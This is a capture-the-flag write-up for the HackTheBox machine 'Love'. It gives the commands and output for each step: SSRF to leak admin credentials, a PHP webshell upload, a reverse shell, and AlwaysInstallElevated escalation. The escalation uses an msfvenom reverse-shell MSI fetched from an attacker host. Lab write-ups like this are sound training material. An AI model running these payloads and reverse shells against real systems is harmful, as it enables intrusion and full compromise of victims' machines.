# Love Writeup - HackTheBox

> Exploited a Windows machine via SSRF to leak VOTD app credentials, then used a file upload shell to gain access and abused AlwaysInstallElevated for privesc.

- **URL:** https://hackindex.io/writeups/love
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Windows
- **Machine:** https://app.hackthebox.com/machines/Love?sort_by=created_at&sort_type=desc
- **Tags:** ssrf, file-upload, webshell
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-09-11
- **Updated:** 2026-09-11

Love is a Windows box. The chain runs: nmap finds an SSL certificate leaking a staging subdomain, the staging site has a file scanner with SSRF, using SSRF to reach an internal port 5000 returns plaintext admin credentials for the voting system, the admin panel allows arbitrary file upload so a PHP webshell lands in the web root, and AlwaysInstallElevated registry keys set to 1 allow any MSI to run as SYSTEM.

## Discovery

### Port scan

```bash
rustscan -a $TARGET_IP
nmap -sCV -T4 -p80,135,139,443,445,3306,5000 $TARGET_IP -oA nmap/nmap
# PORT     STATE SERVICE      VERSION
# 80/tcp   open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
# 443/tcp  open  ssl/https?
# | ssl-cert: Subject: commonName=staging.love.htb
# 445/tcp  open  microsoft-ds Windows 10 Pro 19042
# 3306/tcp open  mysql        MariaDB 10.3.24
# 5000/tcp open  http         Apache httpd 2.4.46
# |_http-title: 403 Forbidden
```

The TLS certificate on port 443 exposes `staging.love.htb`. Port 5000 returns 403 externally. Add both vhosts to `/etc/hosts`.

## SSRF via File Scanner

```bash
ffuf -u http://staging.love.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -e .php,.html -mc 200
# beta.php   [Status: 200, Size: 4997]
```

`beta.php` is a file scanner that accepts a URL and fetches its content. It makes requests from the server itself, meaning it can reach internal services that are blocked externally. Port 5000 returned 403 from outside. Reach it through the SSRF:

```bash
curl -X POST http://staging.love.htb/beta.php -d 'file=http://127.0.0.1:5000/'
# Vote Admin Creds admin: $PHOEBE_PASSWORD
```

Port 5000 serves a page with plaintext admin credentials for the voting system.

## Foothold

### PHP webshell via admin file upload

```bash
# Login to http://love.htb/admin/ with admin:$PHOEBE_PASSWORD
# Create a candidate and upload a PHP file as the candidate photo
curl http://love.htb/images/shell.php?cmd=whoami
# love\phoebe
```

The admin panel accepts arbitrary files as candidate images and serves them from `/images/`. Code execution as `phoebe`. Trigger a reverse shell via a base64-encoded PowerShell payload:

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 61647
# PS C:\xampp\htdocs\omrs\images> whoami
# love\phoebe
```

Shell as `phoebe`.

## Privilege Escalation

### AlwaysInstallElevated

```powershell
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# AlwaysInstallElevated    REG_DWORD    0x1
#
# AlwaysInstallElevated    REG_DWORD    0x1
```

Both HKLM and HKCU keys set to 1. Any MSI installed by any user runs as SYSTEM. Generate a malicious MSI, drop it in an AppLocker-allowed path, and install it:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f msi -o reverse.msi
python3 -m http.server 8000
```

```powershell
wget http://$ATTACKER_IP:8000/reverse.msi -O C:\Administration\reverse.msi
msiexec /quiet /i C:\Administration\reverse.msi
```

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 61649
# C:\WINDOWS\system32>whoami
# nt authority\system
```

Related

## References

- [AlwaysInstallElevated](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#alwaysinstallelevated) - HackTricks, AlwaysInstallElevated privilege escalation.